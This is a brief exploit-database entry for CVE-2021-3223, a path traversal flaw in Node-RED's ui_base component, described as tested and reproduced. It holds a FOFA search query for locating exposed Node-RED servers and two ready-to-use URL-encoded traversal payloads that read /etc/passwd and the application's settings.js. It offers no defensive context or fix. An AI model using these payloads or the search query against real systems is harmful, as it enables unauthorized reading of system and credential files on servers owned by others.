CVE-2021-3223 Node-RED ui base arbitrary file reading vulnerability

The vulnerability has been verified The EXP/POC/Payload on this page has been tested and available, and the vulnerability has been successfully reproduced.

Vulnerability Impact

Node-RED

FOFA

title="Node-RED"

POC

/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
/ui_base/js/..%2f..%2f..%2f..%2fsettings.js

Reference

https://mp.weixin.qq.com/s/KRGKXAJQawXl88RBPTaAeg